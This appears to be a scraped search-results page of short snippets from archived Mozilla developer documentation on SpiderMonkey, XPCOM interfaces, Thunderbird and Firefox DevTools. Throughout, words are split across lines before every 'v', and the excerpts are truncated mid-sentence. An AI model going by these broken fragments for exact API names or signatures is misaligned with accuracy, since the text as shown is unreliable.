from a bash console when using a pre-compiled binary, try <path to your firefox's run-mozilla.sh>/run-mozilla.sh ./js -- that worked for me] if you'd like to run the javascript code in the file foo.js, you can use this command: js foo.js to run foo.js then drop into the interactive shell, do this: js -f foo.js -i reference note: because the javascript shell is used as a test en
vironment for the javascript engine, the available options and built-in functions can change over time.
...(default if no filename is pro
vided.) --no-ion disables the optimizing jit compiler.
... en
vironment options there are some en
vironment variables that can be set to alter js shell beha
vior.
...And 2 more matches
JSNative
in particular, apis such as js_initclass and js_definefunctions create custom methods on javascript objects that are implemented as jsnative callbacks pro
vided by the application, written in c/c++ code.
...pro
vides request.
... the preferred way to implement a function is to use the js::callargs structure defined there; the macros pro
viding equivalent functionality are deprecated.
...And 2 more matches
JSNewEnumerateOp
the callback's job is to populate properties with all property keys that the for-in loop should
visit.
...(spidermonkey, noting the jsclass_new_enumerate flag, will cast that function pointer back to type jsnewenumerateop before calling it.) the beha
vior depends on the value of enum_op: jsenumerate_init a new, opaque iterator state should be allocated and stored in *statep.
... the number of properties that will be enumerated should be returned as an integer jsval in *idp, if idp is non-null, and pro
vided the number of enumerable properties is known.
...And 2 more matches
JSPrincipals
obsolete since jsapi 12 globalpri
vilegesenabled jsbool (*)(jscontext *, jsprincipals *) flag indicating whether principals are enabled globally.
...obsolete since jsapi 13 methods name description void dump() this is not defined by the js engine but should be pro
vided by the embedding.
... added in spidermonkey 17 description jsprincipals is the abstract base class of all principals objects, the objects that identify the source of a function or script and are used to determine its pri
vileges.
...And 2 more matches
JS_SetOptions
enables and disables options on a jscontext, replacing all pre
viously set options.
...this function returns a uint32 value containing the pre
vious values of the flags.
... to turn indi
vidual options on or off, use js_setoptions with js_getoptions: // turn on warnings for dubious practices js_setoptions(cx, js_getoptions(cx) | jsoption_extra_warnings); // turn off those extra warnings js_setoptions(cx, js_getoptions(cx) & ~jsoption_extra_warnings); the options parameter and the return value are the logical or of zero or more constants from the following table: option description jsoption_extra_warnings warn on dubious practice.
...And 2 more matches
Running Automated JavaScript Tests
thus, you can run one test by gi
ving its filename, or any substring that is a substring of that test filename only.
... you can run all tests in a directory by gi
ving the directory path.
... you can run three specific tests by gi
ving the three names.
...And 2 more matches
SavedFrame
from js use savestack, accessible
via components.utils.getjstestingfunction().
...function a from content.js | v function b from chrome.js | v function c from content.js the content compartment will ever have one
view of this stack: a -> c.
... however, a chrome compartment has a choice: it can either take the same
view that the content compartment has (a -> c), or it can
view all stack frames, including the frames from chrome compartments (a -> b -> c).
...And 2 more matches
TPS History Lists
visits: required.
... an array of objects representing
visits to the page, each object has the following properties: type: required.
... an integer value from one of the transition types listed at https://developer.mozilla.org/en/nsinavhistoryser
vice#constants.
...And 2 more matches
Signing Mozilla apps for Mac OS X
for projects that don't use mozilla's release automation and would like to be signed for secure launching on os 10.8 mountain lion and later, this guide should pro
vide some insight into how to make sure applications are signed correctly using apple's codesign tool.
... the codesign tool apple pro
vides a tool called codesign; this command-line application is used to add a signature to an application bundle.
...at a minimum you'll need to pro
vide: identifier: this must be the same as the value of the cfbundleidentifier specified in your application's info.plist file.
...And 2 more matches
Gecko states
state_floating children "owned" not "contained" by parent state_checkable indicates scrolling or mo
ving text or graphics.
... state_in
visible the object is programmatically hidden.
...for example, a list box can have both state_in
visible and state_offscreen set.
...And 2 more matches
Mork
mork is a database file format invented by da
vid mccusker for the mozilla code since the original netscape database information was proprietary and could not be released open source.
...at its core, it can be
viewed as a set of rows, collections of name-value pairs, which can be organized into various tables.
...these defaults are used if the scope is not specified (by ha
ving the ':' then the scope).
...And 2 more matches
Detailed XPCOM hashtable guide
inserting/remo
ving: o(n): adding and remo
ving items from a large array can be time-consuming o(1): adding and remo
ving items from hashtables is a quick operation wasted space: none: arrays are packed structures, so there is no wasted space.
... you must declare an entry struct type, deri
ving from pldhashentryhdr.
...if you use a hashtable in a multi-thread en
vironment, you must pro
vide locking as appropriate.
...And 2 more matches
Components.utils.evalInWindow
this function enables code running in a more-pri
vileged javascript context to evaluate a string in a less-pri
vileged javascript context.
... this is useful for pri
vileged code, such as add-on code, to access variables and apis defined in web content.
... even so, while the code is being evaluated it is in the content's context, so the caller has to be prepared for the possibility that the content could have redefined beha
vior (for example, a setter in the script may have been redefined to do something unexpected).
...And 2 more matches
Components.utils.importGlobalProperties
this function is not intended for sandboxes but for system-pri
vileged scopes.
...the following strings are supported: string/object xpcom component atob blob btoa crypto css fetch file nsidomfile indexeddb nodefilter firefox 60 nsidomnodefilter obsolete since gecko 60 rtcidentitypro
vider textdecoder textencoder url urlsearchparams xmlhttprequest nsixmlhttprequest obsolete since gecko 60 for string/object in table without a minimum firefox version, it is not exactly known since when it was available, however it is guranteed available from firefox 28 and up.
... this imports blob, file, along with the regular ser
vices.
...And 2 more matches
XPConnect wrappers
this document is a high-level over
view of xpconnect wrapper objects (for the more technical description see xpconnect security membranes).
... for practical ad
vice on dealing with wrappers, see safely accessing content dom from chrome.
...this case is where a js object was passed in
via some idl-declared interface, creating an xpcwrappedjs, and is now being returned to javascript
via some other interface.
...And 2 more matches
IAccessibleText
method over
view hresult addselection([in] long startoffset, [in] long endoffset ); [propget] hresult attributes([in] long offset, [out] long startoffset, [out] long endoffset, [out] bstr textattributes ); [propget] hresult caretoffset([out] long offset ); [propget] hresult characterextents([in] long offset, [in] enum ia2coordinatetype coordtype, [out] long x, [out] long y, [out] long width, [out] long...
...the
virtual character after the last character of the represented text(), that is the one at position length is a special case.
...pro
vided for use by the ::ia2_event_text_inserted and ::ia2_event_text_updated event handlers.
...And 2 more matches
mozIJSSubScriptLoader
js/xpconnect/idl/mozijssubscriptloader.idlscriptable this interface can be used from pri
vileged javascript to load and run javascript code from the given url at runtime.
...to get this ser
vice, use: var mozijssubscriptloader = components.classes["@mozilla.org/moz/jssubscript-loader;1"] .getser
vice(components.interfaces.mozijssubscriptloader); note: see components.utils.import for another way to import javascript code.
... method over
view jsval loadsubscript(in string url, in object targetobj optional, in string charset optional); jsval loadsubscriptwithoptions(in string url, in object options); methods loadsubscript() synchronously loads and executes the script from the specified url.
...And 2 more matches
nsIAccessibleHyperLink
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view nsiaccessible getanchor(in long index); note: renamed from getobject in gecko 1.9 nsiuri geturi(in long index); boolean isselected(); obsolete since gecko 1.9 boolean isvalid(); obsolete since gecko 1.9 attributes attribute type description anchorcount long the number of anchors within this hyperlink.
...this anchor is, for example, the
visible output of the html:a tag.
... note: currently only used with aria links, and the author has to specify that the link is invalid
via the aria-invalid='true' attribute.
...And 2 more matches
nsIAccessibleStates
state_marqueed 0x00002000 the object is scrolling or mo
ving text or graphics.
... state_in
visible 0x00008000 the object is programmatically hidden.
...for example, a list box can have both state_in
visible and state_offscreen set.
...And 2 more matches
nsIAccessibleTreeCache
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method over
view nsiaccessible getcachedtreeitemaccessible(in long arow, in nsitreecolumn acolumn); void invalidatecache(in long arow, in long acount); void tree
viewchanged(); void tree
viewinvalidated(in long astartrow, in long aendrow, in long astartcol, in long aendcol); methods getcachedtreeitemaccessible() returns the tree item from the cache for the cell in the specified row and column; the ...
...acount the number of treeitem accessibles to invalidate, the number sign specifies whether rows have been inserted (plus) or removed (minus) tree
viewchanged() invalidates children created for the pre
vious tree
view.
... void tree
viewchanged(); parameters none.
...And 2 more matches
nsIAuthPrompt
to create an instance, use: var authprompt = components.classes["@mozilla.org/login-manager/prompter;1"] .createinstance(components.interfaces.nsiauthprompt); method over
view boolean prompt(in wstring dialogtitle, in wstring text, in wstring passwordrealm, in pruint32 savepassword, in wstring defaulttext, out wstring result); boolean promptpassword(in wstring dialogtitle, in wstring text, in wstring passwordrealm, in pruint32 savepassword, inout wstring pwd); boolean promptusernameandpassword(in wstring dialogtitle, in wstring text, in ws...
... savepassword sa
ving password option.
...if a username is specified (http://user@site.com) it will be used when matching existing logins or sa
ving new ones.
...And 2 more matches
nsIClipboardDragDropHooks
use this to do things such as prevent a drag from starting, adding or remo
ving data and flavors, or preventing the drop.
... method over
view boolean allowdrop(in nsidomevent event, in nsidragsession session); boolean allowstartdrag(in nsidomevent event); boolean oncopyordrag(in nsidomevent aevent, in nsitransferable trans); boolean onpasteordrop(in nsidomevent event, in nsitransferable trans); methods allowdrop() tells gecko whether a drop is allowed on this content area.
...onpasteordrop() pro
vide an alternative action to the built-in beha
vior when something is dropped on the browser or in an editor.
...And 2 more matches
nsIDOMGeoGeolocation
summary the nsidomgeogeolocation interface pro
vides access to geolocation information.
...starting in gecko 1.9.2, you can access this ser
vice using: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getser
vice(components.interfaces.nsidomgeogeolocation); note: if nsidgeogeolocation throws an exception when importing, try using this: var geolocation = components.classes["@mozilla.org/geolocation;1"] .getser
vice(components.interfaces.nsisupports); method over
vie...
...hort watchposition(in nsidomgeopositioncallback successcallback, [optional] in nsidomgeopositionerrorcallback errorcallback, [optional] in nsidomgeopositionoptions options); attributes attribute type description lastposition nsidomgeoposition the most recently retrieved location as seen by the pro
vider.
...And 2 more matches
nsIDOMHTMLSourceElement
the nsidomhtmlsourceelement interface is the dom interface to the source child of the audio and
video media elements in html.
...note that dynamically manipulating this value after the page has loaded has no effect on the containing element; instead, change the src attribute of that element (audio or
video) instead.
... example <
video controls> <source src="foo.webm" type="
video/webm; codecs="vp9, opus""> your browser does not support the <code>
video</code> element.
...And 2 more matches
nsIDOMNSHTMLDocument
inherits from: nsisupports last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method over
view void captureevents(in long eventflags); void clear(); boolean execcommand(in domstring commandid, in boolean doshowui, in domstring value); boolean execcommandshowhelp(in domstring commandid); obsolete since gecko 14.0 domstring getselection(); nsidomdocument open(in acstring acontenttype, in boolean areplace); boolean querycommandenabled(in domstring commandid); boolean querycommandindeterm(in domstring commandid); ...
...obsolete since gecko 6.0 methods captureevents() pro
vided for compatibility with netscape 4.x, but does not actually do anything.
... void captureevents( in long eventflags ); parameters eventflags clear() used to reset a document to blank, but deprecated since gecko 1.0 and pro
vided for compatibility with netscape 4.x; use open() and close() instead.
...And 2 more matches
nsIDOMParser
when you create a domparser from a pri
vileged script, you can pass parameters to the constructor, more on that below.
...these values are automatically determined as defined below, but if you work with domparser from pri
vileged code, you can override the defaults by pro
viding arguments to the domparser constructor or calling parser.init().
...if the caller has universalxpconnect pri
vileges, it can pass parameters to new domparser().
...And 2 more matches
nsIDialogParamBlock
inherits from: nsisupports last changed in gecko 1.7 method over
view print32 getint( in print32 inindex ); wstring getstring( in print32 inindex ); void setint( in print32 inindex, in print32 inint ); void setnumberstrings( in print32 innumstrings ); void setstring( in print32 inindex, in wstring instring); attributes attribute type description objects nsimutablearray a place where you can store an nsimutablearray to pass nsisupports.
... methods getint() get a pre
viously set integer.
... return value the pre
viously set integer, or 0 if no integer has been pre
viously set at that index.
...And 2 more matches
nsIDragDropHandler
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method over
view void detach(); void hookupto(in nsidomeventtarget attachpoint, in nsiwebna
vigation na
vigator); methods detach() unregisters all handlers related to drag and drop.
...hookupto() attaches drag handlers to a specified receiver, setting up callbacks to let built-in beha
viors be overridden.
... void hookupto( in nsidomeventtarget attachpoint, in nsiwebna
vigation na
vigator ); parameters attachpoint the receiver to which to attach drag handlers.
...And 2 more matches
nsIFrameMessageManager
content/base/public/nsimessagemanager.idlscriptable pro
vides methods for managing message listeners on local frames.
... this pro
vides a way for local frames to receive messages from remote frames.
... method over
view void addmessagelistener(in astring amessage, in nsiframemessagelistener alistener, [optional] in boolean listenwhenclosed); void removemessagelistener(in astring amessage, in nsiframemessagelistener alistener); void sendasyncmessage(in astring amessage, in astring json); methods addmessagelistener() adds a message listener to the local frame.
...And 2 more matches
nsIGlobalHistory3
docshell/base/nsiglobalhistory3.idlscriptable this interface pro
vides information about global history to gecko.
...method over
view void adddocumentredirect(in nsichannel aoldchannel, in nsichannel anewchannel, in print32 aflags, in boolean atoplevel); unsigned long geturigeckoflags(in nsiuri auri); void seturigeckoflags(in nsiuri auri, in unsigned long aflags); methods adddocumentredirect() notifies the history system that the page loading
via aoldchannel redirected to anewchannel.
... implementations should generally add the uri for aoldchannel to history for link coloring, but are ad
vised not to expose it in the history user interface.
...And 2 more matches
nsIHapticFeedback
xpcom/system/nsihapticfeedback.idlscriptable implemented to pro
vide support for haptic feedback (that is,
vibration support).
... 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) implemented by: @mozilla.org/widget/hapticfeedback;1 as a ser
vice: var hapticfeedback = components.classes["@mozilla.org/widget/hapticfeedback;1"] .getser
vice(components.interfaces.nsihapticfeedback); once you have the ser
vice, you can initiate haptic feedback (that is, cause the de
vice to
vibrate, if it's supported) by calling performsimpleaction(): hapticfeedback.performsimpleaction(components.interfaces.nsihapticfeedback.longpress); method over
view void performsimpleaction(in long islongpress); constants press length constants constant value description shortpress 0 ...
... specify as the action type to perform a short
vibration.
...And 2 more matches
nsIJSON
dom/interfaces/json/nsijson.idlscriptable this interface pro
vides a convenient way to encode and decode json strings from javascript code.
...to create an instance, use: var nativejson = components.classes["@mozilla.org/dom/json;1"] .createinstance(components.interfaces.nsijson); method over
view note: the idl file has portions of the idl commented out because they represent things that can't actually be properly described by idl; however, for the purposes of this article, we'll pretend they can be and ignore that issue.
... decodetojsval() note: this method may only be used from native code, and pro
vides a way to decode a json string to a jsval for use in your native code.
...And 2 more matches
nsIMemory
method over
view voidptr alloc(in size_t size);
violates the xpcom interface guidelines void free(in voidptr ptr);
violates the xpcom interface guidelines void heapminimize(in boolean immediate); boolean islowmemory(); deprecated since gecko 2.0 voidptr realloc(in voidptr ptr, in size_t newsize);
violates the xpcom interface guidelines methods alloc allocates a block of memory of a particular size.
... free frees a pre
viously allocated block of memory.
... a client that wishes to be notified of low memory situations (for example, because the client maintains a large memory cache that could be released when memory is tight) should register with the observer ser
vice (see nsiobserverser
vice) using the topic "memory-pressure".
...And 2 more matches
nsIMicrosummaryGenerator
toolkit/components/places/public/nsimicrosummaryser
vice.idlscriptable this interface pro
vides access to a microsummary that has been installed in firefox.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method over
view long calculateupdateinterval(in nsidomnode apagecontent); boolean equals(in nsimicrosummarygenerator aother); astring generatemicrosummary(in nsidomnode apagecontent); attributes attribute type description loaded boolean has the generator itself (which may be a remote resource) been loaded.
...for generators referenced by web pages
via <link> tags, this uri is the url specified by the tag.
...And 2 more matches
nsIMsgCustomColumnHandler
last changed in gecko 1.9 (firefox 3) inherits from: nsitree
view this interface is meant to be implemented by extensions, as shown in the tutorial.
... the interface inherits from nsitree
view, however when you're implementing a custom handler in javascript its not necessary to implement all of nsitree
view's methods.
... you must implement: nsitree
view.iseditable() nsitree
view.getcellproperties() nsitree
view.getimagesrc() nsitree
view.getcelltext() nsitree
view.cyclecell() nsimsgcustomcolumnhandler.getsortstringforrow() nsimsgcustomcolumnhandler.getsortlongforrow() nsimsgcustomcolumnhandler.isstring() and optionally: nsitree
view.getrowproperties() from c++ you must implement all of nsitree
view and nsimsgcustomcolumnhandler.
...And 2 more matches
nsIPropertyBag
inherits from: nsisupports last changed in gecko 1.0 method over
view nsivariant getproperty(in astring name); attributes attribute type description enumerator nsisimpleenumerator get a nsisimpleenumerator whose elements are nsiproperty objects.
... the window scope is not always accessible so the window.na
vigator cannot be accessed.
... goodies obtained from window.na
vigator are: appcodename:"mozilla" appname:"netscape" appversion:"5.0 (windows)" battery:batterymanager buildid:"20140529161749" cookieenabled:true donottrack:"yes" geolocation:geolocation language:"en-us" mimetypes:mimetypearray mozalarms:null mozapps:xpcwrappednative_nohelper mozcameras:cameramanager mozconnection:mozconnection mozcontacts:contactmanager mozid:null mozkeyboard:xpcwrappednative_nohelper mozpay:null mozpermissionsettings:null mozphonenumberser
vice:phonenumberser
vice mozpower:mozpowermanager moztcpsocket:null online:true oscpu:"windows nt 5.1" platform:"win32" plugins:pluginarray product:"gecko" productsub:"20100101" useragent:"mozilla/5.0 (windows nt 5.1; rv:30.0) gecko/20100101 firefox/30.0" vendor:"" vendorsub:"" __proto__:na
vigatorprototyp...
...And 2 more matches
nsIProtocolProxyFilter
use nsiprotocolproxyser
vice.registerfilter() to hook up instances of this interface.
... method over
view nsiproxyinfo applyfilter(in nsiprotocolproxyser
vice aproxyser
vice, in nsiuri auri, in nsiproxyinfo aproxy); methods applyfilter() this method is called to apply proxy filter rules for the given uri and proxy object (or list of proxy objects).
... nsiproxyinfo applyfilter( in nsiprotocolproxyser
vice aproxyser
vice, in nsiuri auri, in nsiproxyinfo aproxy ); parameters aproxyser
vice a reference to the protocol proxy ser
vice.
...And 2 more matches
nsIRequest
method over
view void cancel(in nsresult astatus); boolean ispending(); void resume(); void suspend(); attributes attribute type description loadflags nsloadflags the load flags of this request.
...this flag is used when browsing
via history.
... it is not recommended for normal browsing as it may likely
violate reasonable assumptions made by the server and confuse users.
...And 2 more matches
nsIStreamConverter
netwerk/streamconv/public/nsistreamconverter.idlscriptable pro
vides an interface to implement when you have code that converts data from one type to another.
...you can supply the ser
vice with a stream of type x and it will convert it to your desired output type and return a converted (blocking) stream to you.
...it will then convert that data from type x to your desired output type and return converted data to you
via the nsistreamlistener you passed in by calling its nsistreamlistener.ondataavailable() method.
...And 2 more matches
nsIStringBundleOverride
intl/strres/nsistringbundleoverride.idlscriptable pro
vides the string bundle override ser
vice; this interface is an implementation detail.
...to create an instance, use: var stringbundleser
vice = components.classes["@mozilla.org/intl/stringbundle/text-override;1"] .getser
vice(components.interfaces.nsistringbundleoverride); note: you should never need to use this ser
vice directly.
... instead, the string bundle ser
vice will automatically try to load this ser
vice.
...And 2 more matches
nsISupports proxies
from a users point of
view, you need only to look at the nsiproxyobjectmanager.
...you may also use the defined flags which are defined in xpcom/threads/nsieventqueueser
vice.h#44.
...if this is true, i will not call
via proxy, but rather invoke the method directly which is an optimization.
...And 2 more matches
nsITelemetry
toolkit/components/telemetry/nsitelemetry.idlscriptable a ser
vice to gather performance data that can be tracked over time to allow generating histograms.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a ser
vice: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getser
vice(components.interfaces.nsitelemetry); method over
view jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsval snapshotcapturedstacks([optional] in boolean clear); nsisupports getloadedmodules(); jsval snapshotkeyedhistograms(in uint32_t adataset, in boole...
...this is true if the fhr data reporting ser
vice or the self-support ser
vice is enabled.
...And 2 more matches
nsITreeColumn
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view void getidconst([shared] out wstring idconst); native code only!
... nsitreecolumn getnext(); nsitreecolumn getpre
vious(); void invalidate(); attributes attribute type description atom nsiatom the atom attribute of nsitreecolumn which returns an nsiatom for the column, making it fast to do comparisons.
...getpre
vious() get the pre
vious column in the nsitreecolumn.
...And 2 more matches
nsIUpdateCheckListener
toolkit/mozapps/update/nsiupdateser
vice.idlscriptable an interface describing an object that listens to the progress of an update check operation.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view void oncheckcomplete(in nsixmlhttprequest request, [array, size_is(updatecount)] in nsiupdate updates, in unsigned long updatecount); void onerror(in nsixmlhttprequest request, in nsiupdate update); void onprogress(in nsixmlhttprequest request, in unsigned long position, in unsigned long totalsize); methods oncheckcomplete() called when the update check is completed.
... onerror() called when an error occurs while loading the remote update ser
vice file.
...And 2 more matches
nsIWebBrowser
method over
view void addwebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); void removewebbrowserlistener(in nsiweakreference alistener, in nsiidref aiid); attributes attribute type description containerwindow nsiwebbrowserchrome the chrome object associated with the browser instance.
...the embedder must associate the two by setting this property to point to the chrome object before creating the browser window
via the browser's nsibasewindow interface.
...active means that it's
visible enough that we want to avoid certain optimizations like discarding decoded image data and throttling the refresh driver.
...And 2 more matches
nsIWebSocketChannel
nsiwebsocketchannel netwerk/protocol/websocket/nsiwebsocketchannel.idlscriptable pro
vides support for websocket channels.
...to create an instance, use: var websocketchannel = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsiwebsocketchannel); method over
view void asyncopen(in nsiuri auri, in acstring aorigin, in nsiwebsocketlistener alistener, in nsisupports acontext); void close(in unsigned short acode, in autf8string areason); void sendbinarymsg(in acstring amsg); void sendmsg(in autf8string amsg); attributes attribute type description extensions acstring sec-websocket-extens...
...this is used in the case of a redirect or uri "resolution" (for example resol
ving a resource: uri to a file: uri) so that the original pre-redirect uri can still be obtained.
...And 2 more matches
nsIXMLHttpRequest
the interface definition: //github.com/realityripple/uxp/blob/master/dom/xhr/nsixmlhttprequest.idl elevated pri
vileges as mentioned in the "non-standard properties" the property of channel was read-only.
...the most ob
vious benefit is that we can set nsirequest - constants in the xhr.channel.loadflags.
...le http request from a xul application (like a mozilla extension) without using observers: var req = components.classes["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('post', "http://www.foo.bar:8080/nietzsche.do", true); req.send('your=data&and=more&stuff=here'); example 2 var {cu: utils, cc: classes, ci: instances} = components; cu.import('resource://gre/modules/ser
vices.jsm'); function xhr(url, cb) { let xhr = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(ci.nsixmlhttprequest); let handler = ev => { evf(m => xhr.removeeventlistener(m, handler, !1)); switch (ev.type) { case 'load': if (xhr.status == 200) { cb(xhr.response); break; } ...
...And 2 more matches
nsIXPCScriptable
last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method over
view void precreate(in nsisupports nativeobj, in jscontextptr cx, in jsobjectptr globalobj, out jsobjectptr parentobj); void create(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreate(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); prbool addproperty(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjec...
...rappednative wrapper, in jscontextptr cx, in jsobjectptr obj); jsobjectptr innerobject(in nsixpconnectwrappednative wrapper, in jscontextptr cx, in jsobjectptr obj); void postcreateprototype(in jscontextptr cx, in jsobjectptr proto); attributes attribute type description classname string scriptableflags pruint32 the bitwise or'd set of flags (define below) that indicate the beha
vior of this object.
... if idp is non-null, and pro
vided the number of enumerable properties is known, the number of properties that will be enumerated should be returned as an integer jsval in idp.
...And 2 more matches
nsIXULWindow
when the window is destroyed, it will fire a "xul-window-destroyed" notification through the global observer ser
vice.
... method over
view void addchildwindow(in nsixulwindow achild); void applychromeflags(); native code only!
... xulbrowserwindow nsixulbrowserwindow pro
vides access to the xulbrowserwindow object offering a way for the browser to update the user interface of the enclosing xul window.
...And 2 more matches
nsIZipWriter
modules/libjar/zipwriter/public/nsizipwriter.idlscriptable this interface pro
vides an easy way for scripts to archive data in the zip file format.
...to create an instance, use: var zipwriter = components.classes["@mozilla.org/zipwriter;1"] .createinstance(components.interfaces.nsizipwriter); method over
view void addentrychannel(in autf8string azipentry, in prtime amodtime, in print32 acompression, in nsichannel achannel, in boolean aqueue); void addentrydirectory(in autf8string azipentry, in prtime amodtime, in boolean aqueue); void addentryfile(in autf8string azipentry, in print32 acompression, in nsifile afile, in boolean aqueue); void addentrystream(in autf8...
... recursively add all contents of a directory to zip file this example below can be copied and pasted into your scratchpad, set the en
vironment to "browser" and can run.
...And 2 more matches
The Thread Manager
application/extension javascript should consider using a chromeworker instead.") interfaces there are several interfaces that pro
vide threading support: nsithreadmanager the thread manager itself lets you create threads.
... nsithread the nsithread interface encapsulates an operating system thread, pro
viding easy cross-platform access to multithreading in your code.
... nsithreadpool a thread pool pro
vides a limited set of worker threads.
...And 2 more matches
Mail and RDF
over
view of mail rdf graph the root resource for all accounts, folders and messages is the rdf resource named msgaccounts:/.
... there are of course many more properties that are exposed
via rdf, but this should give you a feel for it.
... instead of ha
ving a singleton datasource that is shared across all ui components, we have per-
view datasources.
...And 2 more matches
Thunderbird Binaries
described below are three types of generally available thunderbird packages - releases, early pre
view releases, and nightly builds (including trunk development builds) - and their downloaded locations.
... thunderbird current release can be downloaded from https://www.mozilla.org/thunderbird/ past thunderbird releases can be downloaded from https://releases.mozilla.org/pub/thunderbird/releases/ early pre
view releases whilst writing new versions of thunderbird, developers release pre
view versions, known as betas.
... note: while beta builds have had some testing, they should be considered pre
view only and should not be used in a production en
vironment.
...And 2 more matches
Building a Thunderbird extension 1: introduction
similar to firefox, thunderbird functionality can be enhanced and customized
via extensions.
...however, most developers use an editing program optimized for writing code (also known as an integrated development en
vironment).
... these pro
vide features like syntax highlighting and code coloration, indentation, auto-complete, etc.
...And 2 more matches
libmime content type handlers
pizzarro <rhp@netscape.com> contents over
view api's plugin location/installation sample content type handler plugin over
view the libmime module implements a general-purpose mime parser and one of the primary methods pro
vided by the parser is the ability to emit an html representation of an input stream.
...this functionality will be accomplished
via content type handler plugins for libmime.
... libmime has a homegrown object system written in c, and since the content type handler plugins need to exist in this module, a description of the libmime object system should be re
viewed and understood.
...And 2 more matches
Zombie compartments
viewing live compartments if you want to see a list of live compartments, type "about:memory" into the address bar and click on the measure button.
... js-compartment([system principal], 0x7f10f1250000) compartment(atoms) js-compartment(about:home) js-compartment(about:blank) compartment([system principal], resource://gre/modules/addons/xpipro
vider.jsm) when looking at user compartments there are a couple of things to be aware of.
... first, many sites utilize scripts from other sites to pro
vide advertisements, "like" and "+1" buttons, twitter feeds, etc.
...And 2 more matches
Working with data
converting c strings to javascript the cdata object pro
vides the readstring() method, which reads bytes from the specified string and returns a new javascript string object representing that string.
... as re
view, making a null-terminated string happens like this: var cstr_nullterminated = ctypes.jschar.array()('rawr'); console.log(cstr_nullterminated); // outputs to browserconsole: `cdata { length: 5 }` console.log(cstr_nullterminated.tostring()); // outputs to browser console: `"ctypes.char16_t.array(5)(["r", "a", "w", "r", "\x00"])"` the console.log shows that the length is greater then the length...
...instead, they're converted to javascript objects that you can manipulate using the methods pro
vided by the int64 and uint64 objects.
...And 2 more matches
Scripting plugins - Plugins
« pre
viousnext » xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release).
... (a bit of history: npapi plugins that used to take advantage of being scriptable
via liveconnect in 4.x netscape browsers lost this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete).
...future re
visions to this api might pro
vide a mechanism for proxying calls from one thread to another to aid in using this api from other threads.
...And 2 more matches
Inspecting web app manifests - Firefox Developer Tools
when you open the application panel’s manifest
view on a page that doesn't have an app manifest successfully deployed, you'll get the following output shown: deploying a manifest to get a manifest deployed successfully, you need to include a <link> element in the <head> of your document that points to your .webmanifest file: <link rel="manifest" href="/manifest.webmanifest"> the .webmanifest extension is recommended in the spec, and should be served with an application/manifest+json mime type, although browsers generally tend to support manifests with other appropriate extensions like .json (mime type: application/json).
... inspecting your manifest if your manifest is deployed successfully, you should end up with a display like the following on the manifest
view: from here, you can inspect all the information in the manifest in an easy-to-digest way, making sure that it is all correct.
... it pro
vides a link to the manifest file at the top which when clicked on brings up the json in a new tab.
...And 2 more matches
UI Tour - Firefox Developer Tools
there are several context menu options available for indi
vidual files and folders or groups; typically
viewed by right-clicking on the item.
... set directory root changes the source list
view so that only that item and its children are
visible.
... outline
view the outline
view shows a tree for na
vigating the currently open file.
...And 2 more matches
Page inspector keyboard shortcuts - Firefox Developer Tools
command windows macos linux delete the selected node delete delete delete undo delete of a node ctrl + z cmd + z ctrl + z redo delete of a node ctrl + shift + z / ctrl + y cmd + shift + z / cmd + y ctrl + shift + z / ctrl + y move to next node (expanded nodes only) down arrow down arrow down arrow move to pre
vious node up arrow up arrow up arrow move to first node in the tree.
...eturn enter hide/show the selected node h h h focus on the search box in the html pane ctrl + f cmd + f ctrl + f edit as html f2 f2 f2 stop editing html f2 / ctrl +enter f2 / cmd + return f2 / ctrl + enter copy the selected node's outer html ctrl + c cmd + c ctrl + c scroll the selected node into
view s s s find the next match in the markup, when searching is active enter return enter find the pre
vious match in the markup, when searching is active shift + enter shift + return shift + enter breadcrumbs bar these shortcuts work when the breadcrumbs bar is focused.
... command windows macos linux move to the pre
vious element in the breadcrumbs bar left arrow left arrow left arrow move to the next element in the breadcrumbs bar right arrow right arrow right arrow focus the html pane shift + tab shift + tab shift + tab focus the css pane tab tab tab css pane these shortcuts work when you're in the inspector's css pane.
...And 2 more matches
Paint Flashing Tool - Firefox Developer Tools
the paint flashing tool, when activated, highlights the part of a page that the browser needs to repaint in response to some input: for example, the user mo
ving the mouse or scrolling.
...whenever an event happens that might change a
visible part of the web page then the browser must repaint some portion of the page.
...after mo
ving the mouse around and scrolling a bit, the above page looks like this: in this example, there are two main sources of repaints: mo
ving the mouse over links makes the browser repaint them, because they have a style applied using the :hover pseudo-class scrolling makes the browser repaint the new part of the page coming into
view at the bottom of the screen, and also the scrollbar at the top-...
...And 2 more matches
Waterfall - Firefox Developer Tools
it's based on the idea that the things a browser does when running a site can be di
